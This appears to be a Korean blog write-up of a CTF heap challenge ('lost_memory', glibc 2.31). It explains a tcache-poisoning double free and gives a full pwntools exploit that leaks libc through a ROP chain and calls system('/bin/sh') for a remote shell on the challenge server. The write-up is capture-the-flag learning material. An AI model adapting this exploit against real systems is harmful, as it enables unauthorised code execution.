728x90
반응형
1. intro
2. code 및 분석
2.1. code
생략
2.2. 분석
glibc 2.31 heap 문제였다.
특별히 leak은 불가능하지만, 특정 주소값을 heap에 저장하는 기능이 있으며, No pie이다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
tcache poisonning
3.2. 공격 준비
2.31에서는 tcache는 존재하나 double free는 bk의 값만 변조되면 가능하기 때문에 쉽게 tcache poisonning이 가능하다.
아, tcache counter도 유의해야하긴 함.
특별히 leak 할 방법이 없는데, stack에 있는 특정 주소 값을 heap에 옮길 수 있는 메뉴가 있다.
여기서 취약 함수의 ret이 가까이 있기에 여기로 heap을 할당하고, no pie이기에 main 함수의 puts 함수를 rop하여 leak하고 다시 main으로 돌아가 system 함수를 call 하면 된다.
4. exploit
from pwn import *
#debug = True
debug = False
path = './lost_memory'
elf = ELF(path)
if debug == True:
io = process([path])#, env={"LD_PRELOAD":""})
elf = ELF(path)
else:
io = remote("challenge.nahamcon.com", 31216)
context.log_level = 'debug'
script ='''
'''
def hexmsg(name, val):
info(f"{name} = {hex(val)}")
def alloc(size):
io.sendlineafter(b'choice:\n',b'1')
io.sendlineafter(b'like?\n',size)
def wrt(inp):
io.sendlineafter(b'choice:\n',b'2')
io.sendlineafter(b'write?\n',inp)
def sel(inp):
io.sendlineafter(b'choice:\n',b'3')
io.sendlineafter(b'9)\n',inp)
def free():
io.sendlineafter(b'choice:\n',b'4')
def store():
io.sendlineafter(b'choice:\n',b'5')
def main():
#gdb.attach(io, script)
alloc(b'200')
sel(b'1')
alloc(b'200')
sel(b'0')
free()
sel(b'1')
free()
wrt(b'aaaaaaaaa')
store()
alloc(b'200')
alloc(b'200')
payload = b'c'*8*3 + p64(0x404300) + p64(0x40132e) + p64(0x404020) + p64(0x4010f0) #leak
payload += p64(0x000000000040175c)
wrt(payload)
io.sendlineafter(b'choice:\n',b'6')
io.recvline()
leak = u64(io.recv(6).ljust(8,b'\x00'))
base = leak - 0x84420
system = base + 0x52290
binsh = base + 0x1b45bd
hexmsg('system',system)
hexmsg('binsh',binsh)
sel(b'0')
alloc(b'200')
sel(b'1')
alloc(b'200')
sel(b'0')
free()
sel(b'1')
free()
wrt(b'aaaaaaaaa')
store()
alloc(b'200')
alloc(b'200')
payload = b'x'*8*3 + p64(0x404300) + p64(0x40132e) + p64(binsh) + p64(0x40132f) + p64(system)
wrt(payload)
pause()
io.sendlineafter(b'choice:\n',b'6')
io.interactive()
return
if __name__ == "__main__":
main()
728x90
반응형
'CTF > Solved' 카테고리의 다른 글
GPN CTF 2025 - no-nc (1) | 2025.06.22 |
---|---|
GPN CTF 2025 - NASA (0) | 2025.06.22 |
BREAK THE SYNTAX CTF - HexDumper (0) | 2025.05.11 |
Dreamhack CTF Season 7 Round #9 (🚩Div1) - chain-lightning (0) | 2025.05.03 |
Hackappatoi CTF '23 (0) | 2023.12.08 |